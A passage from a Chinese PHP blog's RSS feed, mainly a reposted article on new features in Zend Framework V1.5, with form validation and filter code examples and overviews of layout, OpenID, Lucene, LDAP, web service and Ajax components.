                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F04%2F01%2F%25E3%2580%2590%25E8%25BD%25AC%25E5%25B8%2596%25E3%2580%2591zend-framework%25E4%25B8%25ADajax%25E7%259A%2584%25E4%25B8%2580%25E4%25B8%25AA%25E4%25BD%25BF%25E7%2594%25A8%25E6%258A%2580%25E5%25B7%25A7%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F07%2F04%2Fjquery-ajax-in-zend-framework%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">【转帖】Zend Framework中Ajax的一个使用技巧</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件" rel="nofollow">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://www.pkphp.com/2008/07/04/jquery-ajax-in-zend-framework/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Zend Framework V1.5 中的新特性</title>
		<link>http://www.pkphp.com/2008/06/24/zend-framework-v15-%e4%b8%ad%e7%9a%84%e6%96%b0%e7%89%b9%e6%80%a7/</link>
		<comments>http://www.pkphp.com/2008/06/24/zend-framework-v15-%e4%b8%ad%e7%9a%84%e6%96%b0%e7%89%b9%e6%80%a7/#comments</comments>
		<pubDate>Tue, 24 Jun 2008 15:15:25 +0000</pubDate>
		<dc:creator>askie</dc:creator>
				<category><![CDATA[zend framework]]></category>
		<category><![CDATA[Framework]]></category>
		<category><![CDATA[Zend]]></category>
		<category><![CDATA[特性]]></category>
		<category><![CDATA[组件]]></category>
		<category><![CDATA[验证器]]></category>

		<guid isPermaLink="false">http://www.pkphp.com/?p=90</guid>
		<description><![CDATA[流行的开源软件 Zend Framework 刚刚实现了一些出色的增强。本文介绍 V1.5 中的新特性以及如何升级对 GData Web 服务的增强支持，包括 Zend_Form、Zend_Layout 和 Zend_View，并且，改进的 Ajax 支持可以帮助 PHP 开发人员轻松地构建先进的 Web 应用程序。 <table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F07%2F04%2Fjquery-ajax-in-zend-framework%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F06%2F24%2Fzend-framework-v15-%25E4%25B8%25AD%25E7%259A%2584%25E6%2596%25B0%25E7%2589%25B9%25E6%2580%25A7%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">jQuery AJAX in Zend Framework</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F08%2F27%2Fzend-framework-exception%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F06%2F24%2Fzend-framework-v15-%25E4%25B8%25AD%25E7%259A%2584%25E6%2596%25B0%25E7%2589%25B9%25E6%2580%25A7%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">zend framework错误或者异常信息捕捉</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F03%2F24%2Fzend-framework-mvc%25E6%25B5%2581%25E7%25A8%258B%25E5%259B%25BE%25E8%25BD%25AC%25E5%25B8%2596%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F06%2F24%2Fzend-framework-v15-%25E4%25B8%25AD%25E7%259A%2584%25E6%2596%25B0%25E7%2589%25B9%25E6%2580%25A7%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Zend Framework MVC流程图[转帖]</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F04%2F01%2F%25E3%2580%2590%25E8%25BD%25AC%25E5%25B8%2596%25E3%2580%2591zend-framework%25E4%25B8%25ADajax%25E7%259A%2584%25E4%25B8%2580%25E4%25B8%25AA%25E4%25BD%25BF%25E7%2594%25A8%25E6%258A%2580%25E5%25B7%25A7%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F06%2F24%2Fzend-framework-v15-%25E4%25B8%25AD%25E7%259A%2584%25E6%2596%25B0%25E7%2589%25B9%25E6%2580%25A7%2F">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">【转帖】Zend Framework中Ajax的一个使用技巧</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></description>
			<content:encoded><![CDATA[<p>软件框架指一组代码库集合，旨在以一种标准化方式处理应用程序中的所有基本需求，以便使开发人员集中精力进行开发，而不是进行重复劳动。目前有多个开源的 PHP 开发框架可供选择，在所有这些框架中，Zend Framework 也许是最受欢迎的。</p>
<p>Zend 收到欢迎的原因是它非常重视最佳实践，这一特性对于那些重视可持续性的开发人员来说十分有吸引力。Zend 以一种高度模块化的方式构造框架：大多数 Zend Framework 组件可以完全分离并单独使用，这一点非常吸引只需要用到可用库的其中一部分的开发人员。Zend 的灵活性以及重视最佳实践而产生的良好标准化，使它成为具有广泛用途的实用框架。</p>
<p>已经很强大的 Zend Framework 在 V1.5 中又增加了几个全新的组件和组件增强。这些升级使开发复杂的 PHP 应用程序更加简单、更加可维护，这是因为对诸如表单验证例程甚至是前端布局创建等内容实现了标准化。让我们首先看一下Zend_Form 组件以及它提供的全部功能。</p>
<p>Zend_Form</p>
<p>Zend Framework 的一个令人兴奋的新增特性就是 Zend_Form 组件。Web 应用程序如果不能接收输入数据并对其进行处理，那么就会变得毫无意义，获得用户数据的最简单方式就是使用表单。当然，在开发与维护一个 Web 应用程序时，表单是最单调乏味的工作：您必须验证收到的全部内容，确保它是您需要的内容，并需要对每个到来的数据片段进行单独处理。所有上述操作都假设您不会生成错误消息并重复所有工作，当然，您肯定会遇到这些问题 — 如果不能重用代码，手工执行这些工作实在是非常让人畏惧的任务。</p>
<p>新的表单组件提供的功能不仅仅是允许您用编程的方法创建一个表单和表单元素。Zend_Form 能够完成复杂的验证并在表单验证失败时在表单中显示错误信息。</p>
<p>Zend_Form 的使用方法简单明了。首先，将 form 对象实例化，然后设置它的动作和方法。最后，将表单元素添加到 form 对象中，并且对单个表单元素应用表单元素验证器和过滤器。在应用程序中呈现和使用完整的 form 对象，对结果进行验证和过滤。查看清单 1 中的简单表单示例。</p>
<p>清单 1. 一个简单的表单</p>
<p><code> require_once 'Zend/Form.php';<br />
$form = new Zend_Form(array(<br />
'method'　 =&gt; 'post',<br />
'elements' =&gt; array(<br />
'name' =&gt; array('text', array(<br />
'required' =&gt; true,<br />
'label' =&gt; 'Name',<br />
'validators' =&gt; array('alpha')<br />
)),<br />
'age' =&gt; array('text', array(<br />
'required' =&gt; true,<br />
'label' =&gt; 'Age',<br />
'validators' =&gt; array('digits')<br />
)),<br />
'submit' =&gt; array('submit', array(<br />
'label' =&gt; 'Send'<br />
))<br />
),<br />
));</code></p>
<p>清单 1 的结果如图 1 所示。</p>
<p>图 1. 表单</p>
<p><img onclick="get_larger(this)" src="http://img.ddvip.com/2008_05/1211991045_ddvip_9670.jpg" alt="Zend Framework V1.5 中的新特性" /></p>
<p>Zend_Form 附带了下列元素：按钮、复选框、隐藏（hiden）、图片、多选框，多重选择、密码、单选、重置、选择、提交、文本、文本区。Zend_Form 不仅仅限制于附带的元素：内置的 Zend_Form_Element 类允许您创建自己的元素。</p>
<p>您可以手动对表单元素进行实例化并把它们连接到表单，或者让表单对象创建并实例化一个新表单元素，使它符合您要求的类型。在将单个元素附加到 form 对象之前或之后，每个元素都可根据需要进行单独配置，并且在呈现完成的表单之前，可以随时将单独的验证器和过滤器集合附加到它们的表单元素中。</p>
<p>可以对您的表单元素使用 19 种标准验证类型。这些验证器可以检查您通常需要采集的所有数据类型 — 从简单的数据类型检验到正则表达式是否匹配电子邮件地址的验证（可配置为确保存在顶级域并有一个 MX 记录）。默认情况下，如果一个验证器返回 false，则剩余的验证检查都将取消，但这个参数也可以对单个验证器进行配置。</p>
<p>在清单 1 中，一个 alpha 验证器应用到名字字段中，数字验证器应用到年龄字段中。当您输入的数据未通过这些验证测试时，图 2 中显示了默认情况下发生的情况。</p>
<p>图 2 未通过验证测试的表单</p>
<p><img onclick="get_larger(this)" src="http://img.ddvip.com/2008_05/1211991046_ddvip_186.jpg" alt="Zend Framework V1.5 中的新特性" /></p>
<p>准备好验证器之后，下一步将应用过滤器。如果说验证器的作用相当于俱乐部里的保镖，过滤器的作用更象一个造型师：过滤器取出表单元素中的数据，过滤掉您 不希望看到的内容并传递剩下的内容。有 12 种标准的内置过滤器，可用于去掉空格、从数值中去掉字母、把文本转换为大写、把特定字符转换为 HTML 项以及删除禁止的标记。如果您知道所需的数据位于字段中，但是这些数据需要进行大量删减和处理，这种情况下应使用过滤器。</p>
<p>为了在简单的表单中演示过滤器的作用，将对 elements 数组做一些修改。</p>
<p>清单 2. 把过滤器应用到 elements 数组<code>ments' =&gt; array(<br />
'name' =&gt; array('text', array(<br />
'required' =&gt; true,<br />
'label' =&gt; 'Name',<br />
'validators' =&gt; array('alpha'),<br />
'filters' =&gt; array('StringToUpper')<br />
)),<br />
'age' =&gt; array('text', array(<br />
'required' =&gt; true,<br />
'label' =&gt; 'Age',<br />
'validators' =&gt; array('digits'),<br />
'filters' =&gt; array('digits')<br />
)),<br />
'submit' =&gt; array('submit', array(<br />
'label' =&gt; 'Send'<br />
))<br />
),</code></p>
<p>正如您所见，我们增加了一个过滤器把名字字段全部改为大写，并使用另一个过滤器把年龄字段中的非数字内容全部去掉。现在，当我们提交这些值后，我们会看到如下的结果。</p>
<p>图 3. 应用过滤器后的表单</p>
<p><img onclick="get_larger(this)" src="http://img.ddvip.com/2008_05/1211991048_ddvip_3721.jpg" alt="Zend Framework V1.5 中的新特性" /></p>
<p>当我们单击 Send 后，下列值将通过验证和过滤器，得到如下所示的结果。</p>
<p>图 4. 应用验证和过滤器后的表单</p>
<p><img onclick="get_larger(this)" src="http://img.ddvip.com/2008_05/1211991050_ddvip_6579.jpg" alt="Zend Framework V1.5 中的新特性" /></p>
<p>当且仅当存在一个数字并且数字中没有插入错误内容，那么在传递到服务器时，年龄输入、过滤器和验证器以及该组合所需的属性才可以真正确保某个值会通 过验证。需要注意的是，名字字段通过验证的惟一方式是名字字段必须以 alpha-字符开头，原因是在这种情况下，过滤器不会帮助这个值通过验证器。</p>
<p>可以使用几种方式呈现完成的表单。表单有一种可以直接使用或回显的呈现方法。可是，大多数表单使用 Zend_View helper 进行呈现。</p>
<p>Zend_Layout 和 Zend_View</p>
<p>Zend Framework V1.5 中新的 Zend_Layout 和增强的 Zend_View 组件经常一起提到，这是有原因的。这两个组件协同工作可以成功地在 PHP 应用程序中将表示从控制器中分离出来，并以一种支持快速开发和维护的方式对表示进行标准化。</p>
<p>所有这些意味着什么？</p>
<p>这意味着只要您坚持一些原则并保持代码模块化，那么就可以获得一种标准的、更轻松的方式维护一致的前端。</p>
<p>Zend_Layout 并不需要与 Model-View-Controller (MVC) 一同使用。与 Zend Framework 中的大部分组件一样，Zend_Layout 可以被取出并独立使用，可是，当它与 MVC 一同使用时，它就变成了在 Zend_View 和控制器之间的一个方便的适配器，可以有效地把表示划分为一个两步骤（two-step）视图并使站点布局更具普遍性。</p>
<p>无论您是否正使 用 MVC 或把Zend_Layout 取出作为独立的组件，必须至少创建一个布局脚本。在其他的实现中有时也称作模板，布局脚本定义了一个 Web 页面的基本前端结构，它们把变量（而不是静态数据）放置在页面上，各个页面显示的数据不尽相同（或者更准确地说，不同的动作所显示的数据是不同的）。布局 脚本中占位符变量的填充方式是把布局脚本所需的值分配给布局，告诉布局您希望使用那个特定布局脚本并最终将它呈现为一个页面。</p>
<p>实际的呈现过程由 Zend_View 完成。因此就 Zend_Layout 而言，您可以免费获得 Zend_View 的全部功能。布局脚本应通过视图 helper 进行筛选，否则几乎肯定要做错。视图 helper 是集便利性与标准性于一体的重要组件。</p>
<p>当完成您的布局脚本后，您可以在您的引导程序中创建一个 Zend_Layout 实例并设置您的布局配置选项。在它以这种方式实例化后，您可以从动作中通过动作 helper 访问并重新配置 Zend_Layout 对象。在动作内部，您可以通过编程方式修改您希望 Zend_Layout 实例使用哪个布局脚本，并重新填充每个布局脚本需要的当前变量。从控制器的角度看，最后发送给用户的所有数据被放入一个适配器中，适配器把这些数据用于完 全不同的范围。</p>
<p>OpenID 和 InfoCard (Web 2.0)</p>
<p>OpenID 是一个分散式身份识别协议，可跨多个网站使用。它不需要正确的用户名和密码组合，而是提示给用户一个从现有的 OpenID 提供者处得到的 URL 或 XRL。由提供者完成身份验证过程。提供者执行身份验证过程的一种方式是请求一个 InfoCard。当提供者成功地与请求站点完成身份验证通信后，用户就会认为是处于登录状态，并且可以从他的个人 URL 处获得额外的信息。</p>
<p>Zend Framework V1.5 不仅支持将 OpenID 和 InfoCard 作为一个客户机站点，还支持将它们作为 OpenID 提供者。这些组件完全分离，互相之间没有依赖性。这看起来很奇怪，通过 Zend Framework V1.5，您可以开发一个不支持 OpenID 的 OpenID 提供者，反之亦然（这更有意义）。框架中还有一个内置的 InfoCard 组件，它为与 OpenID 协同使用的 InfoCards 提供了依赖方（或支持 OpenID）支持。</p>
<p>Lucene 高级搜索</p>
<p>Lucene 是一个开源的信息检索搜索引擎，以它的全文本索引能力和搜索互联网能力而著名。Zend_Search_Lucene 组件为把 Zend Framework V1.5 交付了内置的全文本高级搜索引擎功能。需要注意的是，虽然 Lucene 是一个搜索引擎，但它没有爬行能力。您必须手动把全部相关内容添加到 Zend_Search_Lucene 的索引中（参见 参考资料 中关于 Lucene 的 developerWorks 文章）。</p>
<p>Zend_Search_Lucene 组件并非首先出现在 Zend Framework V1.5 中。这个搜索引擎的早期版本早已实现。可是，Zend Framework V1.5 的发布标志着它从 V1.9 到 V2.2 这一重要升级。通过这一升级， Lucene 组件获得了三种强大的高级搜索选项。</p>
<p>现在它已经支持一个或多个通配符，用于范围搜索或模糊搜索。范围搜索在一个指定上下界的范围内查找指定字段的值，而模糊搜索查找与用户提供的术语相似的单词。例如，对 “Mike” 的模糊搜索可能会返回 “bike” 和 “mire”。</p>
<p>虽然 Lucene 组件进行了升级，原有的功能仍然存在，并且所有以前存在的索引在增强的 Zend_Search_Lucene 组件第一次用到它们时会自动升级。</p>
<p>LDAP 授权</p>
<p>轻 量级目录访问协议（LDAP）在 Zend Framework 中刚刚得到支持。这对于很多开发人员来说是个好消息，比如那些需要创建使用一组现有的正式企业凭证的企业内部网应用程序的开发人员。在 Zend Framework 的文档中需要注意到，当前的支持仅仅是一个最基本的实现，仅仅交付了完成 Zend_Auth_Adapter_LDAP 工作所需的最少功能。</p>
<p>您的 config.ini 文件中指定了有关 LDAP 服务器的信息。当用户需要身份验证时，需要提供用户名和密码组合，这些内容和一些附加的 Zend_LDAP 选项将被发送到 .ini 文件指定的 LDAP 服务器上进行身份验证。就像所有其他的授权适配器一样，只要 Zend_Auth_Adapter_Ldap 从服务器中用下列方法得到一个授权后，它就立即返回一个 Zend_Auth_Result ：getCode() 将返回发生事件的代码（通过或失败）； getIdentity() 将返回进行身份验证尝试的身份；getMessages() 将只包含失败了的身份验证消息；而如果成功通过身份验证则 isValid() 将返回真。</p>
<p>Nirvanix、Technorati 和 SlideShare Web 服务</p>
<p>三种新的 Web 服务组件也成功加入到 Zend Framework V1.5 中：Nirvanix、Technocrati 和 SlideShare。</p>
<p>Nirvanix 是一个基于互联网的文件存储系统，它允许注册用户通过自己的 API 存储、操作和访问文件。Nirvanix 的设计目的是处理大型的媒体文件（例如视频），并且在能够通过互联网身份验证的任何位置进行访问。</p>
<p>Technorati 是一个博客（blog）搜索引擎，它的 Web 服务允许您对其数据库进行多种不同的查询，包括常规关键字搜索、标记搜索、top 标记搜索、给定关键字的每日博客总数以及 “cosmos” 搜索（可返回包含特定 URL 链接的结果）。使用 Technorati，您可以快速了解到当天最热门的网络话题并随时保持关注。</p>
<p>Slideshare.net 是一个为注册用户托管幻灯片的网站。通过 Slideshare 组件，您可以在您的 PHP 应用程序中嵌入由 Slideshare 托管的幻灯片，观看可以共享的幻灯片，还可以为您的 Slideshare 帐户上传新的幻灯片。</p>
<p>这 三个组件加入到 Zend Framework 目前支持的 Web 服务列表中。不断增加的 Web 服务组件库使您可以快速、轻松地把来自多个流行网站的内容集成到一个 PHP 应用程序中。这些 Web 服务组件可以单独安装，无需安装其他的 Zend Framework 组件，这种特性非常受欢迎，适合于 PHP 开发新手以及经验丰富、喜欢使用不同框架工作的 PHP 开发人员。</p>
<p>接下来，我们将查看一些特性增强，这种增强是对现有特性和组件的重大更新，现有组件和特性需要进行修改，从而满足不断变化的互联网领域的需求。</p>
<p>Google GData</p>
<p>Zend_GData 组件本质上是面向支持 GData API 的各种 Google 服务的大型适配器。可被 Zend_GData 组件访问的更新后的 GData 服务列表包括：</p>
<p>Google Base</p>
<p>Google Blogger</p>
<p>Google Calendar</p>
<p>Google Codesearch</p>
<p>Google Documents List</p>
<p>Google Notebook</p>
<p>Google Provisioning</p>
<p>Google Spreadsheets</p>
<p>Picasa Web Albums</p>
<p>YouTube</p>
<p>也许在 Zend Framework V1.5 中人们最期待的新的 Web 服务支 持是对 YouTube API 的支持。现在，通过使用 Zend_GData，您可以使用很多匹配条件搜索并访问 YouTube 视频、访问视频提要和订阅、查看用户个人信息，查看一个特定用户的全部视频和最受欢迎的视频并获取评论。通过现有的功能，可以找到适当的 YouTube 内容并把它们无缝集成到您的 PHP 应用程序中。</p>
<p>目前，Zend Framework 的 YouTube API 支持是只读的。</p>
<p>对 Ajax 支持的改进： ContextSwitch helper 和 REST</p>
<p>Asynchronous JavaScript + XML (Ajax) 对将信息传送到客户机的浏览器会话的方式产生了深远影响。非常简单：使用 Ajax 客户端 JavaScript 可以请求并接收来自外部信息源的信息，无需离开主窗口位置导航或重新装载。Ajax 大量应用于 Web 应用程序中，如 Gmail，后者在更新信息时保持基础窗口不变，且无需重新装载整个窗口。</p>
<p>Zend Framework V1.5 已经通过 ContextSwitch helper 和 Zend_REST 组件改进了原生 Ajax 支持。</p>
<p>ContextSwitch helper 是 Zend_Controller 的一部分，用于以不同的格式或上下文传送现有内容。例如，假设您已经创建了一个用于创建页面的控制器，它列出您在过去三周内吃过的全部早餐的详细信息。通 常，这将通过含有布局和视图（与浏览器友好的网站的其余内容保持一致）的页面显示。现在假设某个人问您是否能以 XML 的形式提供同样的列表。使用 ContextSwitch，您不需要再创建单独的控制器。只需告诉 helper 它可以显示 XML 并且创建 XML 视图脚本，而不是普通的上下文视图脚本。它将确保文档扩展和标题恰当且形式良好，并且以 Ajax 友好的 XML 形式显示您的全部早餐。</p>
<p>现在，事情甚至更加简单了：在 Zend Framework V1.5 中有一个 AjaxContext helper，它专门用来将上下文切换到 XML，从而构建 Ajax 响应。</p>
<p>对 Ajax 的支持继续扩展到 Zend_REST 组件，它包含 REST 客户机和全部的 REST 服务器功能。Zend_REST 可用于生成您自己的 Web 服务或访问和解析 Web 服务。当然，您发布的 XML Web 服务可通过 Ajax 轻松地进行访问。</p>
<p>结束语</p>
<p>我们已经了解到，Zend Framework V1.5 实现了很多令人兴奋的进展。某些更新可以简化一些日常任务的正确设置，而其他更新则使选项更容易访问。全部这些更新都为您提供了更加强大的功能，这永远不会是坏事。<br />
<h3 class="bsuite_related">Related items</h3>
<ul class="bsuite_related">
<li><a href='http://www.pkphp.com/2008/07/04/jquery-ajax-in-zend-framework/'>jQuery AJAX in Zend Framework</a></li>
<li><a href='http://www.pkphp.com/2010/01/09/zend-framework-render-intro/'>[转]详细介绍php Zend Framework中的render使用方法</a></li>
<li><a href='http://www.pkphp.com/2008/09/10/%e4%bb%8a%e6%97%a5%e5%88%b0%e5%8d%97%e4%ba%ac%e4%b8%8a%e7%bd%91%ef%bc%8c%e5%8f%91%e7%8e%b0ff%e5%81%b6%e5%b0%94%e6%89%93%e5%bc%80%e7%9a%84%e7%bd%91%e9%a1%b5%e5%87%ba%e7%8e%b0%e5%a6%82%e4%b8%8b%e4%bb%a3/'>今日到南京上网，发现偶尔打开的网页出现如下代码</a></li>
<li><a href='http://www.pkphp.com/2008/08/27/zend-framework-exception/'>zend framework错误或者异常信息捕捉</a></li>
<li><a href='http://www.pkphp.com/2008/04/01/%e3%80%90%e8%bd%ac%e5%b8%96%e3%80%91zend-framework%e4%b8%adajax%e7%9a%84%e4%b8%80%e4%b8%aa%e4%bd%bf%e7%94%a8%e6%8a%80%e5%b7%a7/'>【转帖】Zend Framework中Ajax的一个使用技巧</a></li>
</ul>
<a href="http://www.pkphp.com/2008/06/24/zend-framework-v15-%e4%b8%ad%e7%9a%84%e6%96%b0%e7%89%b9%e6%80%a7/" title="zendframework model" style="font-size: 13px;">zendframework model</a>(1)<a href="http://www.pkphp.com/2008/06/24/zend-framework-v15-%e4%b8%ad%e7%9a%84%e6%96%b0%e7%89%b9%e6%80%a7/" title="php 文本 输入 过滤" style="font-size: 13px;">php 文本 输入 过滤</a>(1)<a href="http://www.pkphp.com/2008/06/24/zend-framework-v15-%e4%b8%ad%e7%9a%84%e6%96%b0%e7%89%b9%e6%80%a7/" title="Zend_Search_Lucene" style="font-size: 13px;">Zend_Search_Lucene</a>(2)<a href="http://www.pkphp.com/2008/06/24/zend-framework-v15-%e4%b8%ad%e7%9a%84%e6%96%b0%e7%89%b9%e6%80%a7/" title="zend framework 图片上传" style="font-size: 13px;">zend framework 图片上传</a>(2)<a href="http://www.pkphp.com/2008/06/24/zend-framework-v15-%e4%b8%ad%e7%9a%84%e6%96%b0%e7%89%b9%e6%80%a7/" title="zend 过滤器" style="font-size: 13px;">zend 过滤器</a>(1)<a href="http://www.pkphp.com/2008/06/24/zend-framework-v15-%e4%b8%ad%e7%9a%84%e6%96%b0%e7%89%b9%e6%80%a7/" title="zend framework表单正则验证" style="font-size: 13px;">zend framework表单正则验证</a>(1)<a href="http://www.pkphp.com/2008/06/24/zend-framework-v15-%e4%b8%ad%e7%9a%84%e6%96%b0%e7%89%b9%e6%80%a7/" title="YouTube API php源代码" style="font-size: 13px;">YouTube API php源代码</a>(1)<a href="http://www.pkphp.com/2008/06/24/zend-framework-v15-%e4%b8%ad%e7%9a%84%e6%96%b0%e7%89%b9%e6%80%a7/" title="zend_search_lucene 实例" style="font-size: 13px;">zend_search_lucene 实例</a>(1)<a href="http://www.pkphp.com/2008/06/24/zend-framework-v15-%e4%b8%ad%e7%9a%84%e6%96%b0%e7%89%b9%e6%80%a7/" title="zend framework form验证" style="font-size: 13px;">zend framework form验证</a>(1)<a href="http://www.pkphp.com/2008/06/24/zend-framework-v15-%e4%b8%ad%e7%9a%84%e6%96%b0%e7%89%b9%e6%80%a7/" title="zend framework 表单验证" style="font-size: 13px;">zend framework 表单验证</a>(4)<a href="http://www.pkphp.com/2008/06/24/zend-framework-v15-%e4%b8%ad%e7%9a%84%e6%96%b0%e7%89%b9%e6%80%a7/" title="下載 google codesearch svn" style="font-size: 13px;">下載 google codesearch svn</a>(1)<a href="http://www.pkphp.com/2008/06/24/zend-framework-v15-%e4%b8%ad%e7%9a%84%e6%96%b0%e7%89%b9%e6%80%a7/" title="zend framework Lucene 中文 -后来也稍微的看了下" style="font-size: 13px;">zend framework Lucene 中文 -后来也稍微的看了下</a>(1)<a href="http://www.pkphp.com/2008/06/24/zend-framework-v15-%e4%b8%ad%e7%9a%84%e6%96%b0%e7%89%b9%e6%80%a7/" title="zend framework自动登录" style="font-size: 13px;">zend framework自动登录</a>(1)<a href="http://www.pkphp.com/2008/06/24/zend-framework-v15-%e4%b8%ad%e7%9a%84%e6%96%b0%e7%89%b9%e6%80%a7/" title="Zend framework web 2.0" style="font-size: 13px;">Zend framework web 2.0</a>(1)<a href="http://www.pkphp.com/2008/06/24/zend-framework-v15-%e4%b8%ad%e7%9a%84%e6%96%b0%e7%89%b9%e6%80%a7/" title="zend 表单验证 返回" style="font-size: 13px;">zend 表单验证 返回</a>(1)<br /><table class="wumii-related-items" cellspacing="0" cellpadding="2" border="0" width="100%" style="clear: both;">
    
    <tr>
        <td ><b><font size="-1"  style="display: block !important; padding: 20px 0 5px !important;">您可能也喜欢：</font></b></td>
    </tr>
    
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F07%2F04%2Fjquery-ajax-in-zend-framework%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F06%2F24%2Fzend-framework-v15-%25E4%25B8%25AD%25E7%259A%2584%25E6%2596%25B0%25E7%2589%25B9%25E6%2580%25A7%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">jQuery AJAX in Zend Framework</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F08%2F27%2Fzend-framework-exception%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F06%2F24%2Fzend-framework-v15-%25E4%25B8%25AD%25E7%259A%2584%25E6%2596%25B0%25E7%2589%25B9%25E6%2580%25A7%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">zend framework错误或者异常信息捕捉</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F03%2F24%2Fzend-framework-mvc%25E6%25B5%2581%25E7%25A8%258B%25E5%259B%25BE%25E8%25BD%25AC%25E5%25B8%2596%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F06%2F24%2Fzend-framework-v15-%25E4%25B8%25AD%25E7%259A%2584%25E6%2596%25B0%25E7%2589%25B9%25E6%2580%25A7%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">Zend Framework MVC流程图[转帖]</font>
                    </a>
                </td>
            </tr>
            <tr>
                <td style="margin: 0 !important; padding: 0 !important; line-height: 20px !important;">
                    <img border="0" src="http://static.wumii.com/images/widget/widget_solidPoint.gif">
                    <a target="_blank" style="text-decoration: none !important;" href="http://app.wumii.com/ext/redirect.htm?url=http%3A%2F%2Fwww.pkphp.com%2F2008%2F04%2F01%2F%25E3%2580%2590%25E8%25BD%25AC%25E5%25B8%2596%25E3%2580%2591zend-framework%25E4%25B8%25ADajax%25E7%259A%2584%25E4%25B8%2580%25E4%25B8%25AA%25E4%25BD%25BF%25E7%2594%25A8%25E6%258A%2580%25E5%25B7%25A7%2F&from=http%3A%2F%2Fwww.pkphp.com%2F2008%2F06%2F24%2Fzend-framework-v15-%25E4%25B8%25AD%25E7%259A%2584%25E6%2596%25B0%25E7%2589%25B9%25E6%2580%25A7%2F" rel="nofollow">
                        <font size="-1" color="#333333" style="line-height: 1.65em; font-size: 12px !important;">【转帖】Zend Framework中Ajax的一个使用技巧</font>
                    </a>
                </td>
            </tr>
    
    <tr>
        <td  align="right">
            <a style="text-decoration: none !important;" href="http://www.wumii.com/widget/relatedItems.htm" target="_blank" title="无觅相关文章插件" rel="nofollow">
                <font size="-1" color="#bbbbbb" style="display: block !important; font-family: arial !important; padding: 5px 0 !important; font-size: 12px !important; color: #bbb !important;">无觅</font>
            </a>
        </td>
    </tr>
</table>]]></content:encoded>
			<wfw:commentRss>http://www.pkphp.com/2008/06/24/zend-framework-v15-%e4%b8%ad%e7%9a%84%e6%96%b0%e7%89%b9%e6%80%a7/feed/</wfw:commentRss>
